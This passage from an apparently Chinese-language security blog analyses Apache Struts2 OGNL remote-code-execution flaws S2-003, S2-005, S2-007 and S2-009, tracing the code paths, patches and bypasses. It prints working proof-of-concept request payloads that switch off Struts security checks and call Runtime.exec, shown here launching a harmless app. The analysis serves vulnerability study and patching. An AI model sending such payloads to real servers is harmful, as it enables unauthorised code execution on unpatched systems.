class="code-snippet_outer">        == -1 &amp;&amp; name.indexOf(58) == -1 &amp;&amp; !this.isExcluded(name);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span style="font-size: 14px;">可以看到是有一个黑名单的，也可以发现&#39;#&#39;对应的ascii 35是在这个黑名单里面的，所以我们才需要进行编码。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">但是从黑名单里面可以看到，‘@’对应的ascii 64并不在黑名单之中，那为什么它也要进行编码呢，我们去比对一下@编码和不编码的时候的params值的区别，因为params值在后续是会轮流放进Ognl.setValue方法中的，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5995449374288965" data-s="300,640" style="" data-type="png" data-w="1758" src="https://wechat2rss.xlab.app/img-proxy/?k=e8265119&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtibiaVoAcCwTsuibialbOiaKpbnG1VwicsdhVsjNfloBIQ8hibd7ia4XFL3CWVA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6320293398533008" data-s="300,640" style="" data-type="png" data-w="1636" src="https://wechat2rss.xlab.app/img-proxy/?k=1e51c66c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtsgTyqZA1iah1ZjKp9y2EbMyaOyicibfNgNQVg344zvY9ibmxvLS0b3MJww%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">其中有一处看上去不起眼的区别就是，poc的两部分的顺序发生了变化，而因为后面的Ognl.setValue的调用是按照params的顺序进行的，一旦造成RCE的poc部分在设置denyMethodExecution的poc部分之前执行了，就会抛出异常了，这就是‘@’字符不在黑名单中也要做一个编码的原因。</span></p><p><span style="font-size: 14px;">不过这个poc只适用到2.0.11到2.0.11.1和2.0.11.1不再使用indexOf来做黑名单匹配，而改使用了[\p{Graph}&amp;&amp;[^,#:=]]*这个正则去做匹配，效果一样。</span></p><p><span style="font-size: 14px;">后续的操作就是Ognl.setValue造成RCE的部分，就不再分析了。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(0, 0, 0);text-align: left;" class="active brush">修复</p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这次漏洞修复的补丁比较复杂一点，先对修复前后两个版本的xwork的jar包做一个比对，可以看到关键的修复部分在ParametersInterceptor的setParameters处</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3986655546288574" data-s="300,640" style="" data-type="png" data-w="2398" src="https://wechat2rss.xlab.app/img-proxy/?k=5e9eb118&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtUrZChgEngtQZcK9RB3fUaSQbsE4JtV4gzdmklnmtuYKgFFLnWawRxg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">还有OgnlValueStack中新增了一个allowStaticMethodAccess成员变量和SecurityMemberAccess成员对象，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.23044925124792012" data-s="300,640" style="" data-type="png" data-w="2404" src="https://wechat2rss.xlab.app/img-proxy/?k=8972d62e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWt2T92txbM0pKmL7N7kIzQrMnugtS95JKdqNfrKXqPDrhuRZxXodyjhg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">动态调试一下，就可以发现在stack中多了一个securityMemberAccess变量，其中关键的成员变量allowStaticMethodAccess和excludeProperties为后续能否调用函数做了一下判断。具体的判断位置分别在SecurityMemberAccess的isAccessible函数和isExcluded函数中。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4292929292929293" data-s="300,640" style="" data-type="png" data-w="1188" src="https://wechat2rss.xlab.app/img-proxy/?k=cd42dc60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtwrmk4zUFKS10mr6q8exIdB2NAWnfjibSrgzjgg2p6EDX4MYuCEjDBvQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-005</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.1.8.1</strong></span></p><p><span style="font-size: 16px;"><strong>tomcat版本要求：6.0</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p style="text-align: left;"><span style="font-size: 14px;">S2-005就是对于S2-003的绕过，从上面的修复可以看到，补丁的关键部分在于通过对securityMemberAccess的两个成员变量allowStaticMethodAccess和excludeProperties对OGNL表达式能否加载函数，然而通过OGNL表达式，我们可以改写这两个变量的值（和denyMethodExecution是一个套路），来实现补丁的绕过。我们需要做的事情就是保证allowStaticMethodAccess的值为真，excludeProperties的值为空。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/test.action?(" target="_blank">http://www.glassy.com/test.action?(</a><span class="code-snippet__string">&#39;\u0023context[\&#39;</span>xwork.MethodAccessor.denyMethodExecution\<span class="code-snippet__string">&#39;]\u003dfalse&#39;</span>)(a)(b)&amp;(<span class="code-snippet__string">&#39;\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET&#39;</span>)(a)(b)&amp;(<span class="code-snippet__string">&#39;\u0023_memberAccess.allowStaticMethodAccess\u003dfalse&#39;</span>)(a)(b)&amp;(<span class="code-snippet__string">&#39;\u0040java.lang.Runtime@getRuntime().exec(\&#39;</span>open\u0020/Applications/Notes.app/\<span class="code-snippet__string">&#39;)&#39;</span>)(a)(b</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" style="text-align: justify;" data-type="png" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">关于绕过思路，没有什么好说的了，我们在这里就讨论一下怎么去构造这个payload，也就是#memberAccess.allowStaticMethodAccess=false这个#memberAccess是怎么来的。</span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">其实struts2的SecurityMemberAccess类是ognl中DefaultMemberAccess类的一个子类，在使用Ognl进行getValue的时候，会把这个SecurityMemberAccess传递给ognl，使用我们只需要去看看ognl怎么设置MemberAccess的值就OK了。去看一下Ognl类的setMemberAccess函数，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setMemberAccess</span>(<span class="code-snippet__params">Map context, MemberAccess memberAccess</span>)</span> {</span></code><code><span class="code-snippet_outer">        context.put(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY, memberAccess);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">再去看一下OgnlContext.MEMBERACCESSCONTEXTKEY的值，就找到了memberAccess，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">public static final String MEMBER_ACCESS_CONTEXT_KEY = &#34;_memberAccess&#34;;</span></code></pre></section><p style="text-align: left;"><br/></p><p><span style="font-size: 14px;">关于_memberAccess.excludeProperties的空值怎么构造，只需要把程序断点打到excludeProperties赋值前，就可以看到空值是什么样子的了，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3832167832167832" data-s="300,640" style="" data-type="png" data-w="1430" src="https://wechat2rss.xlab.app/img-proxy/?k=5d0dc482&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtVKBVYNAq2OibZPnLEtCahWxyJ8WZwfCKeXibcYBMoGqf2zXkO5R4AEgA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);text-align: left;">修复</span></p><p><img class="" data-ratio="0.05555555555555555" style="text-align: left;" data-type="png" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">S2-005的补丁就是加强了ParametersInterceptor.acceptableName函数的正则，把正则换成了更精准额匹配：[a-zA-Z0-9.][()_&#39;\s]+</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-007</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.2.3</strong></span></p><p><span style="font-size: 14px;">S2-007的利用场景比较苛刻，要求对提交的参数配置了验证规则并对提交的参数进行类型转换的时候会造成OGNL表达式的执行。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">假设user.birthDay做了类型转换。 </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">user</span>.name=glassy&amp;user.age=12&amp;user.birthDay=<span class="code-snippet__number">%27</span><span class="code-snippet__number">%2</span>b(<span class="code-snippet__number">%23</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">_memberAccess</span>.allowStaticMethodAccess<span class="code-snippet__number">%3</span>dtrue<span class="code-snippet__number">%2</span>c<span class="code-snippet__number">%23</span>context<span class="code-snippet__number">%5</span>b%</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">22xwork</span>.MethodAccessor.denyMethodExecution<span class="code-snippet__number">%22</span><span class="code-snippet__number">%5</span>d<span class="code-snippet__number">%3</span>dfalse<span class="code-snippet__number">%2</span>c%</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">40java</span>.lang.Runtime<span class="code-snippet__number">%40</span>getRuntime().exec(<span class="code-snippet__number">%27</span><span class="code-snippet__number">%2</span>fApplications%</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">2fNotes</span>.app<span class="code-snippet__number">%2</span>fContents<span class="code-snippet__number">%2</span>fMacOS<span class="code-snippet__number">%2</span>fNotes<span class="code-snippet__number">%27</span>))<span class="code-snippet__number">%2</span>b<span class="code-snippet__number">%27</span>&amp;user.email=31312<span class="code-snippet__number">%40</span>qq.com</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">在这里先介绍一下ST2如何处理各种数据（客户端穿来的param，生成的日志等），所有的数据优先都会先去找到DefaultActionInvocation类，再由DefaultActionInvocation交给对于的Interceptor处理，总共有16个Interceptor，都可以在xwork-default.xml中看到，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;interceptor name=&#34;timer&#34; class=&#34;com.opensymphony.xwork2.interceptor.TimerInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;logger&#34; class=&#34;com.opensymphony.xwork2.interceptor.LoggingInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;chain&#34; class=&#34;com.opensymphony.xwork2.interceptor.ChainingInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;staticParams&#34; class=&#34;com.opensymphony.xwork2.interceptor.StaticParametersInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;params&#34; class=&#34;com.opensymphony.xwork2.interceptor.ParametersInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;filterParams&#34; class=&#34;com.opensymphony.xwork2.interceptor.ParameterFilterInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;removeParams&#34; class=&#34;com.opensymphony.xwork2.interceptor.ParameterRemoverInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;modelDriven&#34; class=&#34;com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;scopedModelDriven&#34;</span></code><code><span class="code-snippet_outer">                         class=&#34;com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;validation&#34; class=&#34;com.opensymphony.xwork2.validator.ValidationInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;workflow&#34; class=&#34;com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;prepare&#34; class=&#34;com.opensymphony.xwork2.interceptor.PrepareInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;conversionError&#34; class=&#34;com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;alias&#34; class=&#34;com.opensymphony.xwork2.interceptor.AliasInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;exception&#34; class=&#34;com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;interceptor name=&#34;i18n&#34; class=&#34;com.opensymphony.xwork2.interceptor.I18nInterceptor&#34;/&gt;</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">关于S2-007漏洞的触发是和类型转换报错有关的，我们很容易就找到了ConversionErrorInterceptor，看名字就知道类型转换报错是交给这个类处理的，</span></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">跟进ConversionErrorInterceptor的intercept函数，可以看到我们构造的payload被取出后，进到了getOverrideExpr函数</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3313180169286578" data-s="300,640" style="" data-type="png" data-w="1654" src="https://wechat2rss.xlab.app/img-proxy/?k=29eb3451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtKf2Rzlk4IEsFnFb6ewkp2H2u95YbkRUHeA1WKYTDG26uUtlISGSnsg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">看一下getOverrideExpr函数，其实就是把我们的payload用单引号阔起来了，这也就解释了为什么我们的payload是形如 &#39; + (*) + &#39;的形式，就是为了逃逸这个单引号，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.11054421768707483" data-s="300,640" style="" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=8423dcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtU56d4mQ5QwnPZz8jrpUJljQnXgFBkfYia0zWgFxeuViaEyoficuP7oia1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">然后我们以kay-value的形式将param-payload存入名为fakie的变量中，继续往下，看到最后fakie被放到了setExprOverrides函数中，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.19366626065773446" data-s="300,640" style="" data-type="png" data-w="1642" src="https://wechat2rss.xlab.app/img-proxy/?k=aaf4b859&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWt0echbRRHzut6WG5cpIhdZRx9GdPMiaiamgQHicUPfgQDia0c3RkKLl0wKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">根据setExprOverrides函数，就是讲param-payload的这个变量放到了stack的overrides中了，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2548262548262548" data-s="300,640" style="" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=c124f00e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtzvcDGdoibeqEm4F36ib8ncqFSmiadYTRAr5ibOEb9lupiaXIKYzoRrONcQg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">接下来我们就去跟进一下造成RCE的调用栈，只跟进到ognl.getValue()剩下的都是前文的内容了，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49295774647887325" data-s="300,640" style="" data-type="png" data-w="1136" src="https://wechat2rss.xlab.app/img-proxy/?k=b18dbb59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtUPKjvbiaOUBV4DaUUicWL4AMCpfLvZoVb4IY7wvZaa5sJ9sMSibIf2y8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">其实总体上的调用栈和001非常相似，唯一我们需要留意的就是payload是从哪里获取的，看一下OgnlValueStack的tryFindValue，看到进入getvalue的expr的值是从lookupForOverrides中获取的，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.26390685640362227" data-s="300,640" style="" data-type="png" data-w="1546" src="https://wechat2rss.xlab.app/img-proxy/?k=00901135&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtwRH32nEGPRmIEG4Yw24M8a6XOgB81x0ujsvjWAaRNEjVeuvib7ejBEg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">跟进lookupForOverrides函数，就可以看到我们把ConversionErrorInterceptor在处理payloay的时候放进overrides的值给拿出来了，接下来就是顺理成章的交给ognl.getValue()造成rce。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.20064724919093851" data-s="300,640" style="" data-type="png" data-w="1236" src="https://wechat2rss.xlab.app/img-proxy/?k=4b4829be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtbG3cPL9icYj0ODsdeX6yJBOdVvKPibkvUJa6yLH5ArDLbkPeS4ylP6SQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">看一下007的修复，在ConversionErrorInterceptor的getOverrideExpr中对value的值做了一下escape，防止再从引号里面逃逸出来。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.16962843295638125" data-s="300,640" style="" data-type="png" data-w="2476" src="https://wechat2rss.xlab.app/img-proxy/?k=c66128ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtPKibrP1PjqK1DeIL3EAlVEdYKTZ4Sjn3viayZRf6WCFl92JAWib00vhVQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-009</span></p><p><span style="font-size: 16px;"><strong>适用版本：</strong><strong>2.0.0 - 2.3.1.1</strong></span></p><p><span style="font-size: 16px;"><strong>tomcat版本要求：</strong><strong>6.0</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">S2-009其实就是对003和005的绕过，通过上面的修复分析，我们可以看到对于参数名的正则限制，已经可以保证在参数名方面寻找绕过方式是很困难的了，于是009把绕过的重点放到了参数值上，</span></p><p><span style="font-size: 14px;">首先去看一个ognl.setValue造成rce的一种新的写法，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">OgnlContext context = new OgnlContext();</span></code><code><span class="code-snippet_outer">Ognl.setValue(&#34;password&#34;,context,&#34;@java.lang.Runtime@getRuntime().exec(&#39;open /Applications/Notes.app/&#39;)(glassy)&#34;);</span></code><code><span class="code-snippet_outer">Ognl.setValue(&#34;a[(password)(glassy)]&#34;,context,&#34;true&#34;);</span></code></pre></section><p><span style="font-size: 14px;">第一行代码用于将password-payload的map写入ognl的root中去，第二行代码中的`a[(password)(glassy)]`在AST树中进行解析的时候按照从右到左，从里到外的顺序进行解析，因此优先解析`(password)(glassy)`,password的值在root中有（password-payload），于是解析成了payload(glassy)的形式，然后就是和ST2-003一样的原理造成了RCE了。</span></p><p><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">其实想造成RCE把`a[(password)(glassy)]`写成`(password)(glassy)`的形式就可以成功，但是由于我们构造payload的地方在参数名处，因此我们还需留意让payload保持着参数名的正常格式，否则是没法被st2作为参数名完整的传到OGNL中的。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&amp;z[%28password%29%28meh%29]=true" target="_blank">http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&amp;z[%28password%29%28meh%29]=true</a></span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">看一下调用链，其实一看是param方面的问题，直接去看ParametersInterceptor类就完事了，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2677595628415301" data-s="300,640" style="" data-type="png" data-w="1098" 